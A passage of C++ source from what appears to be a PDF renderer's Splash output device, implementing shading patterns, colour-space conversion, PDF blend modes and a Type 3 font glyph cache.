color[3] = colToByte(cmyk.k);
break;
case splashModeDeviceN8:
colorSpace->getDeviceN(src, &deviceN);
for (int i = 0; i < SPOT_NCOMPS + 4; i++)
color[i] = colToByte(deviceN.c[i]);
break;
#endif
}
splashColorCopy(dest, color);
}
//------------------------------------------------------------------------
// SplashGouraudPattern
//------------------------------------------------------------------------
SplashGouraudPattern::SplashGouraudPattern(GBool bDirectColorTranslationA,
GfxState *stateA, GfxGouraudTriangleShading *shadingA, SplashColorMode modeA) {
SplashColor defaultColor;
GfxColor srcColor;
state = stateA;
shading = shadingA;
mode = modeA;
bDirectColorTranslation = bDirectColorTranslationA;
shadingA->getColorSpace()->getDefaultColor(&srcColor);
convertGfxColor(defaultColor, mode, shadingA->getColorSpace(), &srcColor);
gfxMode = shadingA->getColorSpace()->getMode();
}
SplashGouraudPattern::~SplashGouraudPattern() {
}
void SplashGouraudPattern::getParameterizedColor(double colorinterp, SplashColorMode mode, SplashColorPtr dest) {
GfxColor src;
GfxColorSpace* srcColorSpace = shading->getColorSpace();
int colorComps = 3;
#if SPLASH_CMYK
if (mode == splashModeCMYK8)
colorComps=4;
else if (mode == splashModeDeviceN8)
colorComps=4 + SPOT_NCOMPS;
#endif
shading->getParameterizedColor(colorinterp, &src);
if (bDirectColorTranslation) {
for (int m = 0; m < colorComps; ++m)
dest[m] = colToByte(src.c[m]);
} else {
convertGfxColor(dest, mode, srcColorSpace, &src);
}
}
//------------------------------------------------------------------------
// SplashUnivariatePattern
//------------------------------------------------------------------------
SplashUnivariatePattern::SplashUnivariatePattern(SplashColorMode colorModeA, GfxState *stateA, GfxUnivariateShading *shadingA) {
Matrix ctm;
double xMin, yMin, xMax, yMax;
shading = shadingA;
state = stateA;
colorMode = colorModeA;
state->getCTM(&ctm);
ctm.invertTo(&ictm);
// get the function domain
t0 = shading->getDomain0();
t1 = shading->getDomain1();
dt = t1 - t0;
stateA->getUserClipBBox(&xMin, &yMin, &xMax, &yMax);
shadingA->setupCache(&ctm, xMin, yMin, xMax, yMax);
gfxMode = shadingA->getColorSpace()->getMode();
}
SplashUnivariatePattern::~SplashUnivariatePattern() {
}
GBool SplashUnivariatePattern::getColor(int x, int y, SplashColorPtr c) {
GfxColor gfxColor;
double xc, yc, t;
ictm.transform(x, y, &xc, &yc);
if (! getParameter (xc, yc, &t))
return gFalse;
shading->getColor(t, &gfxColor);
convertGfxColor(c, colorMode, shading->getColorSpace(), &gfxColor);
return gTrue;
}
GBool SplashUnivariatePattern::testPosition(int x, int y) {
double xc, yc, t;
ictm.transform(x, y, &xc, &yc);
if (! getParameter (xc, yc, &t))
return gFalse;
return (t0 < t1) ? (t > t0 && t < t1) : (t > t1 && t < t0);
}
//------------------------------------------------------------------------
// SplashRadialPattern
//------------------------------------------------------------------------
#define RADIAL_EPSILON (1. / 1024 / 1024)
SplashRadialPattern::SplashRadialPattern(SplashColorMode colorModeA, GfxState *stateA, GfxRadialShading *shadingA):
SplashUnivariatePattern(colorModeA, stateA, shadingA)
{
SplashColor defaultColor;
GfxColor srcColor;
shadingA->getCoords(&x0, &y0, &r0, &dx, &dy, &dr);
dx -= x0;
dy -= y0;
dr -= r0;
a = dx*dx + dy*dy - dr*dr;
if (fabs(a) > RADIAL_EPSILON)
inva = 1.0 / a;
shadingA->getColorSpace()->getDefaultColor(&srcColor);
convertGfxColor(defaultColor, colorModeA, shadingA->getColorSpace(), &srcColor);
}
SplashRadialPattern::~SplashRadialPattern() {
}
GBool SplashRadialPattern::getParameter(double xs, double ys, double *t) {
double b, c, s0, s1;
// We want to solve this system of equations:
//
// 1. (x - xc(s))^2 + (y -yc(s))^2 = rc(s)^2
// 2. xc(s) = x0 + s * (x1 - xo)
// 3. yc(s) = y0 + s * (y1 - yo)
// 4. rc(s) = r0 + s * (r1 - ro)
//
// To simplify the system a little, we translate
// our coordinates to have the origin in (x0,y0)
xs -= x0;
ys -= y0;
// Then we have to solve the equation:
// A*s^2 - 2*B*s + C = 0
// where
// A = dx^2 + dy^2 - dr^2
// B = xs*dx + ys*dy + r0*dr
// C = xs^2 + ys^2 - r0^2
b = xs*dx + ys*dy + r0*dr;
c = xs*xs + ys*ys - r0*r0;
if (fabs(a) <= RADIAL_EPSILON) {
// A is 0, thus the equation simplifies to:
// -2*B*s + C = 0
// If B is 0, we can either have no solution or an indeterminate
// equation, thus we behave as if we had an invalid solution
if (fabs(b) <= RADIAL_EPSILON)
return gFalse;
s0 = s1 = 0.5 * c / b;
} else {
double d;
d = b*b - a*c;
if (d < 0)
return gFalse;
d = sqrt (d);
s0 = b + d;
s1 = b - d;
// If A < 0, one of the two solutions will have negative radius,
// thus it will be ignored. Otherwise we know that s1 <= s0
// (because d >=0 implies b - d <= b + d), so if both are valid it
// will be the true solution.
s0 *= inva;
s1 *= inva;
}
if (r0 + s0 * dr >= 0) {
if (0 <= s0 && s0 <= 1) {
*t = t0 + dt * s0;
return gTrue;
} else if (s0 < 0 && shading->getExtend0()) {
*t = t0;
return gTrue;
} else if (s0 > 1 && shading->getExtend1()) {
*t = t1;
return gTrue;
}
}
if (r0 + s1 * dr >= 0) {
if (0 <= s1 && s1 <= 1) {
*t = t0 + dt * s1;
return gTrue;
} else if (s1 < 0 && shading->getExtend0()) {
*t = t0;
return gTrue;
} else if (s1 > 1 && shading->getExtend1()) {
*t = t1;
return gTrue;
}
}
return gFalse;
}
#undef RADIAL_EPSILON
//------------------------------------------------------------------------
// SplashAxialPattern
//------------------------------------------------------------------------
SplashAxialPattern::SplashAxialPattern(SplashColorMode colorModeA, GfxState *stateA, GfxAxialShading *shadingA):
SplashUnivariatePattern(colorModeA, stateA, shadingA)
{
SplashColor defaultColor;
GfxColor srcColor;
shadingA->getCoords(&x0, &y0, &x1, &y1);
dx = x1 - x0;
dy = y1 - y0;
mul = 1 / (dx * dx + dy * dy);
shadingA->getColorSpace()->getDefaultColor(&srcColor);
convertGfxColor(defaultColor, colorModeA, shadingA->getColorSpace(), &srcColor);
}
SplashAxialPattern::~SplashAxialPattern() {
}
GBool SplashAxialPattern::getParameter(double xc, double yc, double *t) {
double s;
xc -= x0;
yc -= y0;
s = (xc * dx + yc * dy) * mul;
if (0 <= s && s <= 1) {
*t = t0 + dt * s;
} else if (s < 0 && shading->getExtend0()) {
*t = t0;
} else if (s > 1 && shading->getExtend1()) {
*t = t1;
} else {
return gFalse;
}
return gTrue;
}
//------------------------------------------------------------------------
// Type 3 font cache size parameters
#define type3FontCacheAssoc 8
#define type3FontCacheMaxSets 8
#define type3FontCacheSize (128*1024)
//------------------------------------------------------------------------
// Divide a 16-bit value (in [0, 255*255]) by 255, returning an 8-bit result.
static inline Guchar div255(int x) {
return (Guchar)((x + (x >> 8) + 0x80) >> 8);
}
#if SPLASH_CMYK
#include "GfxState_helpers.h"
//-------------------------------------------------------------------------
// helper for Blend functions (convert CMYK to RGB, do blend, convert back)
//-------------------------------------------------------------------------
// based in GfxState.cc
static void cmykToRGB(SplashColorPtr cmyk, SplashColor rgb) {
double c, m, y, k, c1, m1, y1, k1, r, g, b;
c = colToDbl(byteToCol(cmyk[0]));
m = colToDbl(byteToCol(cmyk[1]));
y = colToDbl(byteToCol(cmyk[2]));
k = colToDbl(byteToCol(cmyk[3]));
c1 = 1 - c;
m1 = 1 - m;
y1 = 1 - y;
k1 = 1 - k;
cmykToRGBMatrixMultiplication(c, m, y, k, c1, m1, y1, k1, r, g, b);
rgb[0] = colToByte(clip01(dblToCol(r)));
rgb[1] = colToByte(clip01(dblToCol(g)));
rgb[2] = colToByte(clip01(dblToCol(b)));
}
static void rgbToCMYK(SplashColor rgb, SplashColorPtr cmyk) {
GfxColorComp c, m, y, k;
c = clip01(gfxColorComp1 - byteToCol(rgb[0]));
m = clip01(gfxColorComp1 - byteToCol(rgb[1]));
y = clip01(gfxColorComp1 - byteToCol(rgb[2]));
k = c;
if (m < k) {
k = m;
}
if (y < k) {
k = y;
}
cmyk[0] = colToByte(c - k);
cmyk[1] = colToByte(m - k);
cmyk[2] = colToByte(y - k);
cmyk[3] = colToByte(k);
}
#endif
//------------------------------------------------------------------------
// Blend functions
//------------------------------------------------------------------------
static void splashOutBlendMultiply(SplashColorPtr src, SplashColorPtr dest,
SplashColorPtr blend, SplashColorMode cm) {
int i;
#if SPLASH_CMYK
if (cm == splashModeCMYK8 || cm == splashModeDeviceN8) {
SplashColor rgbSrc;
SplashColor rgbDest;
SplashColor rgbBlend;
cmykToRGB(src, rgbSrc);
cmykToRGB(dest, rgbDest);
for (i = 0; i < 3; ++i) {
rgbBlend[i] = (rgbDest[i] * rgbSrc[i]) / 255;
}
rgbToCMYK(rgbBlend, blend);
} else
#endif
{
for (i = 0; i < splashColorModeNComps[cm]; ++i) {
blend[i] = (dest[i] * src[i]) / 255;
}
}
}
static void splashOutBlendScreen(SplashColorPtr src, SplashColorPtr dest,
SplashColorPtr blend, SplashColorMode cm) {
int i;
#if SPLASH_CMYK
if (cm == splashModeCMYK8 || cm == splashModeDeviceN8) {
SplashColor rgbSrc;
SplashColor rgbDest;
SplashColor rgbBlend;
cmykToRGB(src, rgbSrc);
cmykToRGB(dest, rgbDest);
for (i = 0; i < 3; ++i) {
rgbBlend[i] = rgbDest[i] + rgbSrc[i] - (rgbDest[i] * rgbSrc[i]) / 255;
}
rgbToCMYK(rgbBlend, blend);
} else
#endif
{
for (i = 0; i < splashColorModeNComps[cm]; ++i) {
blend[i] = dest[i] + src[i] - (dest[i] * src[i]) / 255;
}
}
}
static void splashOutBlendOverlay(SplashColorPtr src, SplashColorPtr dest,
SplashColorPtr blend, SplashColorMode cm) {
int i;
#if SPLASH_CMYK
if (cm == splashModeCMYK8 || cm == splashModeDeviceN8) {
SplashColor rgbSrc;
SplashColor rgbDest;
SplashColor rgbBlend;
cmykToRGB(src, rgbSrc);
cmykToRGB(dest, rgbDest);
for (i = 0; i < 3; ++i) {
rgbBlend[i] = rgbDest[i] < 0x80
? (rgbSrc[i] * 2 * rgbDest[i]) / 255
: 255 - 2 * ((255 - rgbSrc[i]) * (255 - rgbDest[i])) / 255;
}
rgbToCMYK(rgbBlend, blend);
} else
#endif
{
for (i = 0; i < splashColorModeNComps[cm]; ++i) {
blend[i] = dest[i] < 0x80
? (src[i] * 2 * dest[i]) / 255
: 255 - 2 * ((255 - src[i]) * (255 - dest[i])) / 255;
}
}
}
static void splashOutBlendDarken(SplashColorPtr src, SplashColorPtr dest,
SplashColorPtr blend, SplashColorMode cm) {
int i;
#if SPLASH_CMYK
if (cm == splashModeCMYK8 || cm == splashModeDeviceN8) {
SplashColor rgbSrc;
SplashColor rgbDest;
SplashColor rgbBlend;
cmykToRGB(src, rgbSrc);
cmykToRGB(dest, rgbDest);
for (i = 0; i < 3; ++i) {
rgbBlend[i] = rgbDest[i] < rgbSrc[i] ? rgbDest[i] : rgbSrc[i];
}
rgbToCMYK(rgbBlend, blend);
} else
#endif
{
for (i = 0; i < splashColorModeNComps[cm]; ++i) {
blend[i] = dest[i] < src[i] ? dest[i] : src[i];
}
}
}
static void splashOutBlendLighten(SplashColorPtr src, SplashColorPtr dest,
SplashColorPtr blend, SplashColorMode cm) {
int i;
#if SPLASH_CMYK
if (cm == splashModeCMYK8 || cm == splashModeDeviceN8) {
SplashColor rgbSrc;
SplashColor rgbDest;
SplashColor rgbBlend;
cmykToRGB(src, rgbSrc);
cmykToRGB(dest, rgbDest);
for (i = 0; i < 3; ++i) {
rgbBlend[i] = rgbDest[i] > rgbSrc[i] ? rgbDest[i] : rgbSrc[i];
}
rgbToCMYK(rgbBlend, blend);
} else
#endif
{
for (i = 0; i < splashColorModeNComps[cm]; ++i) {
blend[i] = dest[i] > src[i] ? dest[i] : src[i];
}
}
}
static void splashOutBlendColorDodge(SplashColorPtr src, SplashColorPtr dest,
SplashColorPtr blend,
SplashColorMode cm) {
int i, x;
#if SPLASH_CMYK
if (cm == splashModeCMYK8 || cm == splashModeDeviceN8) {
SplashColor rgbSrc;
SplashColor rgbDest;
SplashColor rgbBlend;
cmykToRGB(src, rgbSrc);
cmykToRGB(dest, rgbDest);
for (i = 0; i < 3; ++i) {
if (rgbSrc[i] == 255) {
rgbBlend[i] = 255;
} else {
x = (rgbDest[i] * 255) / (255 - rgbSrc[i]);
rgbBlend[i] = x <= 255 ? x : 255;
}
}
rgbToCMYK(rgbBlend, blend);
} else
#endif
{
for (i = 0; i < splashColorModeNComps[cm]; ++i) {
if (src[i] == 255) {
blend[i] = 255;
} else {
x = (dest[i] * 255) / (255 - src[i]);
blend[i] = x <= 255 ? x : 255;
}
}
}
}
static void splashOutBlendColorBurn(SplashColorPtr src, SplashColorPtr dest,
SplashColorPtr blend, SplashColorMode cm) {
int i, x;
#if SPLASH_CMYK
if (cm == splashModeCMYK8 || cm == splashModeDeviceN8) {
SplashColor rgbSrc;
SplashColor rgbDest;
SplashColor rgbBlend;
cmykToRGB(src, rgbSrc);
cmykToRGB(dest, rgbDest);
for (i = 0; i < 3; ++i) {
if (rgbSrc[i] == 0) {
rgbBlend[i] = 0;
} else {
x = ((255 - rgbDest[i]) * 255) / rgbSrc[i];
rgbBlend[i] = x <= 255 ? 255 - x : 0;
}
}
rgbToCMYK(rgbBlend, blend);
} else
#endif
{
for (i = 0; i < splashColorModeNComps[cm]; ++i) {
if (src[i] == 0) {
blend[i] = 0;
} else {
x = ((255 - dest[i]) * 255) / src[i];
blend[i] = x <= 255 ? 255 - x : 0;
}
}
}
}
static void splashOutBlendHardLight(SplashColorPtr src, SplashColorPtr dest,
SplashColorPtr blend, SplashColorMode cm) {
int i;
#if SPLASH_CMYK
if (cm == splashModeCMYK8 || cm == splashModeDeviceN8) {
SplashColor rgbSrc;
SplashColor rgbDest;
SplashColor rgbBlend;
cmykToRGB(src, rgbSrc);
cmykToRGB(dest, rgbDest);
for (i = 0; i < 3; ++i) {
rgbBlend[i] = rgbSrc[i] < 0x80
? (rgbDest[i] * 2 * rgbSrc[i]) / 255
: 255 - 2 * ((255 - rgbDest[i]) * (255 - rgbSrc[i])) / 255;
}
rgbToCMYK(rgbBlend, blend);
} else
#endif
{
for (i = 0; i < splashColorModeNComps[cm]; ++i) {
blend[i] = src[i] < 0x80
? (dest[i] * 2 * src[i]) / 255
: 255 - 2 * ((255 - dest[i]) * (255 - src[i])) / 255;
}
}
}
static void splashOutBlendSoftLight(SplashColorPtr src, SplashColorPtr dest,
SplashColorPtr blend, SplashColorMode cm) {
int i, x;
#if SPLASH_CMYK
if (cm == splashModeCMYK8 || cm == splashModeDeviceN8) {
SplashColor rgbSrc;
SplashColor rgbDest;
SplashColor rgbBlend;
cmykToRGB(src, rgbSrc);
cmykToRGB(dest, rgbDest);
for (i = 0; i < 3; ++i) {
if (rgbSrc[i] < 0x80) {
rgbBlend[i] = rgbDest[i] - (255 - 2 * rgbSrc[i]) * rgbDest[i] * (255 - rgbDest[i]) / (255 * 255);
} else {
if (rgbDest[i] < 0x40) {
x = (((((16 * rgbDest[i] - 12 * 255) * rgbDest[i]) / 255) + 4 * 255) * rgbDest[i]) / 255;
} else {
x = (int)sqrt(255.0 * rgbDest[i]);
}
rgbBlend[i] = rgbDest[i] + (2 * rgbSrc[i] - 255) * (x - rgbDest[i]) / 255;
}
}
rgbToCMYK(rgbBlend, blend);
} else
#endif
{
for (i = 0; i < splashColorModeNComps[cm]; ++i) {
if (src[i] < 0x80) {
blend[i] = dest[i] - (255 - 2 * src[i]) * dest[i] * (255 - dest[i]) / (255 * 255);
} else {
if (dest[i] < 0x40) {
x = (((((16 * dest[i] - 12 * 255) * dest[i]) / 255) + 4 * 255) * dest[i]) / 255;
} else {
x = (int)sqrt(255.0 * dest[i]);
}
blend[i] = dest[i] + (2 * src[i] - 255) * (x - dest[i]) / 255;
}
}
}
}
static void splashOutBlendDifference(SplashColorPtr src, SplashColorPtr dest,
SplashColorPtr blend,
SplashColorMode cm) {
int i;
#if SPLASH_CMYK
if (cm == splashModeCMYK8 || cm == splashModeDeviceN8) {
SplashColor rgbSrc;
SplashColor rgbDest;
SplashColor rgbBlend;
cmykToRGB(src, rgbSrc);
cmykToRGB(dest, rgbDest);
for (i = 0; i < 3; ++i) {
rgbBlend[i] = rgbDest[i] < rgbSrc[i] ? rgbSrc[i] - rgbDest[i] : rgbDest[i] - rgbSrc[i];
}
rgbToCMYK(rgbBlend, blend);
} else
#endif
{
for (i = 0; i < splashColorModeNComps[cm]; ++i) {
blend[i] = dest[i] < src[i] ? src[i] - dest[i] : dest[i] - src[i];
}
}
}
static void splashOutBlendExclusion(SplashColorPtr src, SplashColorPtr dest,
SplashColorPtr blend, SplashColorMode cm) {
int i;
#if SPLASH_CMYK
if (cm == splashModeCMYK8 || cm == splashModeDeviceN8) {
SplashColor rgbSrc;
SplashColor rgbDest;
SplashColor rgbBlend;
cmykToRGB(src, rgbSrc);
cmykToRGB(dest, rgbDest);
for (i = 0; i < 3; ++i) {
rgbBlend[i] = rgbDest[i] + rgbSrc[i] - (2 * rgbDest[i] * rgbSrc[i]) / 255;
}
rgbToCMYK(rgbBlend, blend);
} else
#endif
{
for (i = 0; i < splashColorModeNComps[cm]; ++i) {
blend[i] = dest[i] + src[i] - (2 * dest[i] * src[i]) / 255;
}
}
}
static int getLum(int r, int g, int b) {
return (int)(0.3 * r + 0.59 * g + 0.11 * b);
}
static int getSat(int r, int g, int b) {
int rgbMin, rgbMax;
rgbMin = rgbMax = r;
if (g < rgbMin) {
rgbMin = g;
} else if (g > rgbMax) {
rgbMax = g;
}
if (b < rgbMin) {
rgbMin = b;
} else if (b > rgbMax) {
rgbMax = b;
}
return rgbMax - rgbMin;
}
static void clipColor(int rIn, int gIn, int bIn,
Guchar *rOut, Guchar *gOut, Guchar *bOut) {
int lum, rgbMin, rgbMax;
lum = getLum(rIn, gIn, bIn);
rgbMin = rgbMax = rIn;
if (gIn < rgbMin) {
rgbMin = gIn;
} else if (gIn > rgbMax) {
rgbMax = gIn;
}
if (bIn < rgbMin) {
rgbMin = bIn;
} else if (bIn > rgbMax) {
rgbMax = bIn;
}
if (rgbMin < 0) {
*rOut = (Guchar)(lum + ((rIn - lum) * lum) / (lum - rgbMin));
*gOut = (Guchar)(lum + ((gIn - lum) * lum) / (lum - rgbMin));
*bOut = (Guchar)(lum + ((bIn - lum) * lum) / (lum - rgbMin));
} else if (rgbMax > 255) {
*rOut = (Guchar)(lum + ((rIn - lum) * (255 - lum)) / (rgbMax - lum));
*gOut = (Guchar)(lum + ((gIn - lum) * (255 - lum)) / (rgbMax - lum));
*bOut = (Guchar)(lum + ((bIn - lum) * (255 - lum)) / (rgbMax - lum));
} else {
*rOut = rIn;
*gOut = gIn;
*bOut = bIn;
}
}
static void setLum(Guchar rIn, Guchar gIn, Guchar bIn, int lum,
Guchar *rOut, Guchar *gOut, Guchar *bOut) {
int d;
d = lum - getLum(rIn, gIn, bIn);
clipColor(rIn + d, gIn + d, bIn + d, rOut, gOut, bOut);
}
static void setSat(Guchar rIn, Guchar gIn, Guchar bIn, int sat,
Guchar *rOut, Guchar *gOut, Guchar *bOut) {
int rgbMin, rgbMid, rgbMax;
Guchar *minOut, *midOut, *maxOut;
if (rIn < gIn) {
rgbMin = rIn; minOut = rOut;
rgbMid = gIn; midOut = gOut;
} else {
rgbMin = gIn; minOut = gOut;
rgbMid = rIn; midOut = rOut;
}
if (bIn > rgbMid) {
rgbMax = bIn; maxOut = bOut;
} else if (bIn > rgbMin) {
rgbMax = rgbMid; maxOut = midOut;
rgbMid = bIn; midOut = bOut;
} else {
rgbMax = rgbMid; maxOut = midOut;
rgbMid = rgbMin; midOut = minOut;
rgbMin = bIn; minOut = bOut;
}
if (rgbMax > rgbMin) {
*midOut = (Guchar)((rgbMid - rgbMin) * sat) / (rgbMax - rgbMin);
*maxOut = (Guchar)sat;
} else {
*midOut = *maxOut = 0;
}
*minOut = 0;
}
static void splashOutBlendHue(SplashColorPtr src, SplashColorPtr dest,
SplashColorPtr blend, SplashColorMode cm) {
Guchar r0, g0, b0;
#ifdef SPLASH_CMYK
Guchar r1, g1, b1;
int i;
SplashColor src2, dest2;
#endif
switch (cm) {
case splashModeMono1:
case splashModeMono8:
blend[0] = dest[0];
break;
case splashModeXBGR8:
src[3] = 255;
case splashModeRGB8:
case splashModeBGR8:
setSat(src[0], src[1], src[2], getSat(dest[0], dest[1], dest[2]),
&r0, &g0, &b0);
setLum(r0, g0, b0, getLum(dest[0], dest[1], dest[2]),
&blend[0], &blend[1], &blend[2]);
break;
#if SPLASH_CMYK
case splashModeCMYK8:
case splashModeDeviceN8:
for (i = 0; i < 4; i++) {
// convert to additive
src2[i] = 0xff - src[i];
dest2[i] = 0xff - dest[i];
}
// NB: inputs have already been converted to additive mode
setSat(src2[0], src2[1], src2[2], getSat(dest2[0], dest2[1], dest2[2]),
&r0, &g0, &b0);
setLum(r0, g0, b0, getLum(dest2[0], dest2[1], dest2[2]),
&r1, &g1, &b1);
blend[0] = r1;
blend[1] = g1;
blend[2] = b1;
blend[3] = dest2[3];
for (i = 0; i < 4; i++) {
// convert back to subtractive
blend[i] = 0xff - blend[i];
}
break;
#endif
}
}
static void splashOutBlendSaturation(SplashColorPtr src, SplashColorPtr dest,
SplashColorPtr blend,
SplashColorMode cm) {
Guchar r0, g0, b0;
#ifdef SPLASH_CMYK
Guchar r1, g1, b1;
int i;
SplashColor src2, dest2;
#endif
switch (cm) {
case splashModeMono1:
case splashModeMono8:
blend[0] = dest[0];
break;
case splashModeXBGR8:
src[3] = 255;
case splashModeRGB8:
case splashModeBGR8:
setSat(dest[0], dest[1], dest[2], getSat(src[0], src[1], src[2]),
&r0, &g0, &b0);
setLum(r0, g0, b0, getLum(dest[0], dest[1], dest[2]),
&blend[0], &blend[1], &blend[2]);
break;
#if SPLASH_CMYK
case splashModeCMYK8:
case splashModeDeviceN8:
for (i = 0; i < 4; i++) {
// convert to additive
src2[i] = 0xff - src[i];
dest2[i] = 0xff - dest[i];
}
setSat(dest2[0], dest2[1], dest2[2], getSat(src2[0], src2[1], src2[2]),
&r0, &g0, &b0);
setLum(r0, g0, b0, getLum(dest2[0], dest2[1], dest2[2]),
&r1, &g1, &b1);
blend[0] = r1;
blend[1] = g1;
blend[2] = b1;
blend[3] = dest2[3];
for (i = 0; i < 4; i++) {
// convert back to subtractive
blend[i] = 0xff - blend[i];
}
break;
#endif
}
}
static void splashOutBlendColor(SplashColorPtr src, SplashColorPtr dest,
SplashColorPtr blend, SplashColorMode cm) {
#if SPLASH_CMYK
Guchar r, g, b;
int i;
SplashColor src2, dest2;
#endif
switch (cm) {
case splashModeMono1:
case splashModeMono8:
blend[0] = dest[0];
break;
case splashModeXBGR8:
src[3] = 255;
case splashModeRGB8:
case splashModeBGR8:
setLum(src[0], src[1], src[2], getLum(dest[0], dest[1], dest[2]),
&blend[0], &blend[1], &blend[2]);
break;
#if SPLASH_CMYK
case splashModeCMYK8:
case splashModeDeviceN8:
for (i = 0; i < 4; i++) {
// convert to additive
src2[i] = 0xff - src[i];
dest2[i] = 0xff - dest[i];
}
setLum(src2[0], src2[1], src2[2], getLum(dest2[0], dest2[1], dest2[2]),
&r, &g, &b);
blend[0] = r;
blend[1] = g;
blend[2] = b;
blend[3] = dest2[3];
for (i = 0; i < 4; i++) {
// convert back to subtractive
blend[i] = 0xff - blend[i];
}
break;
#endif
}
}
static void splashOutBlendLuminosity(SplashColorPtr src, SplashColorPtr dest,
SplashColorPtr blend,
SplashColorMode cm) {
#if SPLASH_CMYK
Guchar r, g, b;
int i;
SplashColor src2, dest2;
#endif
switch (cm) {
case splashModeMono1:
case splashModeMono8:
blend[0] = dest[0];
break;
case splashModeXBGR8:
src[3] = 255;
case splashModeRGB8:
case splashModeBGR8:
setLum(dest[0], dest[1], dest[2], getLum(src[0], src[1], src[2]),
&blend[0], &blend[1], &blend[2]);
break;
#if SPLASH_CMYK
case splashModeCMYK8:
case splashModeDeviceN8:
for (i = 0; i < 4; i++) {
// convert to additive
src2[i] = 0xff - src[i];
dest2[i] = 0xff - dest[i];
}
setLum(dest2[0], dest2[1], dest2[2], getLum(src2[0], src2[1], src2[2]),
&r, &g, &b);
blend[0] = r;
blend[1] = g;
blend[2] = b;
blend[3] = src2[3];
for (i = 0; i < 4; i++) {
// convert back to subtractive
blend[i] = 0xff - blend[i];
}
break;
#endif
}
}
// NB: This must match the GfxBlendMode enum defined in GfxState.h.
static const SplashBlendFunc splashOutBlendFuncs[] = {
NULL,
&splashOutBlendMultiply,
&splashOutBlendScreen,
&splashOutBlendOverlay,
&splashOutBlendDarken,
&splashOutBlendLighten,
&splashOutBlendColorDodge,
&splashOutBlendColorBurn,
&splashOutBlendHardLight,
&splashOutBlendSoftLight,
&splashOutBlendDifference,
&splashOutBlendExclusion,
&splashOutBlendHue,
&splashOutBlendSaturation,
&splashOutBlendColor,
&splashOutBlendLuminosity
};
//------------------------------------------------------------------------
// SplashOutFontFileID
//------------------------------------------------------------------------
class SplashOutFontFileID: public SplashFontFileID {
public:
SplashOutFontFileID(Ref *rA) { r = *rA; }
~SplashOutFontFileID() {}
GBool matches(SplashFontFileID *id) {
return ((SplashOutFontFileID *)id)->r.num == r.num &&
((SplashOutFontFileID *)id)->r.gen == r.gen;
}
private:
Ref r;
};
//------------------------------------------------------------------------
// T3FontCache
//------------------------------------------------------------------------
struct T3FontCacheTag {
Gushort code;
Gushort mru; // valid bit (0x8000) and MRU index
};
class T3FontCache {
public:
T3FontCache(Ref *fontID, double m11A, double m12A,
double m21A, double m22A,
int glyphXA, int glyphYA, int glyphWA, int glyphHA,
GBool aa, GBool validBBoxA);
~T3FontCache();
GBool matches(Ref *idA, double m11A, double m12A,
double m21A, double m22A)
{ return fontID.num == idA->num && fontID.gen == idA->gen &&
m11 == m11A && m12 == m12A && m21 == m21A && m22 == m22A; }
Ref fontID; // PDF font ID
double m11, m12, m21, m22; // transform matrix
int glyphX, glyphY; // pixel offset of glyph bitmaps
int glyphW, glyphH; // size of glyph bitmaps, in pixels
GBool validBBox; // false if the bbox was [0 0 0 0]
int glyphSize; // size of glyph bitmaps, in bytes
int cacheSets; // number of sets in cache
int cacheAssoc; // cache associativity (glyphs per set)
Guchar *cacheData; // glyph pixmap cache
T3FontCacheTag *cacheTags; // cache tags, i.e., char codes
};
T3FontCache::T3FontCache(Ref *fontIDA, double m11A, double m12A,
double m21A, double m22A,
int glyphXA, int glyphYA, int glyphWA, int glyphHA,
GBool validBBoxA, GBool aa) {
int i;
fontID = *fontIDA;
m11 = m11A;
m12 = m12A;
m21 = m21A;
m22 = m22A;
glyphX = glyphXA;
glyphY = glyphYA;
glyphW = glyphWA;
glyphH = glyphHA;
validBBox = validBBoxA;
// sanity check for excessively large glyphs (which most likely
// indicate an incorrect BBox)
i = glyphW * glyphH;
if (i > 100000 || glyphW > INT_MAX / glyphH || glyphW <= 0 || glyphH <= 0) {
glyphW = glyphH = 100;
validBBox = gFalse;
}
if (aa) {
glyphSize = glyphW * glyphH;
} else {
glyphSize = ((glyphW + 7) >> 3) * glyphH;
}
cacheAssoc = type3FontCacheAssoc;
for (cacheSets = type3FontCacheMaxSets;
cacheSets > 1 &&
cacheSets * cacheAssoc * glyphSize > type3FontCacheSize;
cacheSets >>= 1) ;
if (glyphSize < 10485760 / cacheAssoc / cacheSets) {
cacheData = (Guchar *)gmallocn_checkoverflow(cacheSets * cacheAssoc, glyphSize);
} else {
error(errSyntaxWarning, -1, "Not creating cacheData for T3FontCache, it asked for too much memory.\n"
" This could teoretically result in wrong rendering,\n"
" but most probably the document is bogus.\n"
" Please report a bug if you think the rendering may be wrong because of this.");
cacheData = NULL;
}
if (cacheData != NULL)
{
cacheTags = (T3FontCacheTag *)gmallocn(cacheSets * cacheAssoc,
sizeof(T3FontCacheTag));
for (i = 0; i < cacheSets * cacheAssoc; ++i) {
cacheTags[i].mru = i & (cacheAssoc - 1);
}
}
else
{
cacheTags = NULL;
}
}
T3FontCache::~T3FontCache() {
gfree(cacheData);
gfree(cacheTags);
}
struct T3GlyphStack {
Gushort code; // character code
//----- cache info
T3FontCache *cache; // font cache for the current font
T3FontCacheTag *cacheTag; // pointer to cache tag for the glyph
Guchar *cacheData; // pointer to cache data for the glyph
//----- saved state
SplashBitmap *origBitmap;
Splash *origSplash;
double origCTM4, origCTM5;
T3GlyphStack *next; // next object on stack
};
//------------------------------------------------------------------------
// SplashTransparencyGroup
//------------------------------------------------------------------------
struct SplashTransparencyGroup {
int tx, ty; // translation coordinates
SplashBitmap *tBitmap; // bitmap for transparency group
GfxColorSpace *blendingColorSpace;
GBool isolated;
//----- for knockout
SplashBitmap *shape;
GBool knockout;
SplashCoord knockoutOpacity;
GBool fontAA;
//----- saved state
SplashBitmap *origBitmap;
Splash *origSplash;
SplashTransparencyGroup *next;
};
//------------------------------------------------------------------------
// SplashOutputDev
//------------------------------------------------------------------------
SplashOutputDev::SplashOutputDev(SplashColorMode colorModeA,
int bitmapRowPadA,
GBool reverseVideoA,
SplashColorPtr paperColorA,
GBool bitmapTopDownA,
GBool allowAntialiasA,
SplashThinLineMode thinLineMode,
GBool overprintPreviewA) {
colorMode = colorModeA;
bitmapRowPad = bitmapRowPadA;
bitmapTopDown = bitmapTopDownA;
bitmapUpsideDown = gFalse;
allowAntialias = allowAntialiasA;
vectorAntialias = allowAntialias &&
globalParams->getVectorAntialias() &&
colorMode != splashModeMono1;
overprintPreview = overprintPreviewA;
enableFreeTypeHinting = gFalse;
enableSlightHinting = gFalse;
setupScreenParams(72.0, 72.0);
reverseVideo = reverseVideoA;
if (paperColorA != NULL) {
splashColorCopy(paperColor, paperColorA);
} else {
splashClearColor(paperColor);
}
skipHorizText = gFalse;
skipRotatedText = gFalse;
keepAlphaChannel = paperColorA == NULL;
